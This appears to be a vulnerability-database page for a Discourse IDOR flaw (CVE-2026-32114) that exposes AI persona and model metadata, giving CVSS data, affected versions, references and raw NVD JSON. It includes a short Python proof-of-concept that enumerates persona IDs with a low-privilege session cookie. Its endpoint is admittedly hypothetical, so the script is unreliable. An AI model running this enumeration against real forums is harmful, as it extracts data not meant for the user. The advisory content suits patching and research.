CVE-2026-32114

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, there is an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access metadata about AI personas, features, and LLM models by providing their identifiers. This information includes credit allocations and usage statistics which are not intended to be public. The attack is performed over the network, requires low privileges (any logged-in user), and results in a low impact on confidentiality with no impact on integrity or availability. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, disable AI plugin or upgrade to a patched version.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE

Discourse < 2026.3.0-latest.1

Discourse < 2026.2.1

Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-32114 (Discourse IDOR)
# This script demonstrates the IDOR vulnerability by iterating through persona IDs.
# Requires a valid authenticated session cookie.

import requests

target_url = "https://target-discourse-instance.com"
# Hypothetical endpoint based on vulnerability description
endpoint = "/admin/plugins/discourse-ai/ai-personas/{persona_id}.json"

# Replace with a valid low-privilege user session cookie
session_cookie = "_forum_session=valid_low_priv_cookie_here;"

headers = {
    "Cookie": session_cookie,
    "User-Agent": "CVE-2026-32114-PoC"
}

print("[*] Starting IDOR scan for CVE-2026-32114...")

# Attempt to access metadata for IDs 1 to 50
for persona_id in range(1, 51):
    try:
        url = target_url + endpoint.format(persona_id=persona_id)
        response = requests.get(url, headers=headers, timeout=5)

        if response.status_code == 200:
            data = response.json()
            print(f"[+] IDOR Successful for ID {persona_id}:")
            print(f"    - Name: {data.get('name')}")
            print(f"    - Credits: {data.get('credits')}")
            print(f"    - Usage Stats: {data.get('usage')}")
        elif response.status_code == 403:
            # If we hit a 403, the server might be enforcing checks or the ID is restricted
            print(f"[-] Access Denied for ID {persona_id}")
        elif response.status_code == 404:
            pass  # ID likely does not exist
    except Exception as e:
        print(f"[!] Error connecting to target: {e}")
        break

print("[*] Scan complete.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32114
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32114
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32114/
[4] VulDB https://vuldb.com/cve/CVE-2026-32114
[5] https://github.com/discourse/discourse/security/advisories/GHSA-3cvr-pm4c-hx96

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32114", "sourceIdentifier": "[email protected]", "published": "2026-03-20T04:16:48.587", "lastModified": "2026-03-24T20:41:00.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, there is an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access metadata about AI personas, features, and LLM models by providing their identifiers. This information includes credit allocations and usage statistics which are not intended to be public. The attack is performed over the network, requires low privileges (any logged-in user), and results in a low impact on confidentiality with no impact on integrity or availability. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, disable AI plugin or upgrade to a patched version."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, existe una vulnerabilidad de Referencia Directa Insegura a Objeto (IDOR) que permite a cualquier usuario autenticado acceder a metadatos sobre personas de IA, características y modelos LLM al proporcionar sus identificadores. Esta información incluye asignaciones de crédito y estadísticas de uso que no están destinadas a ser públicas. El ataque se realiza a través de la red, requiere privilegios bajos (cualquier usuario que haya iniciado sesión) y resulta en un bajo impacto en la confidencialidad sin impacto en la integridad o la disponibilidad. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. Para solucionar este problema, deshabilite el plugin de IA o actualice a una versión parcheada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-3cvr-pm4c-hx96", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}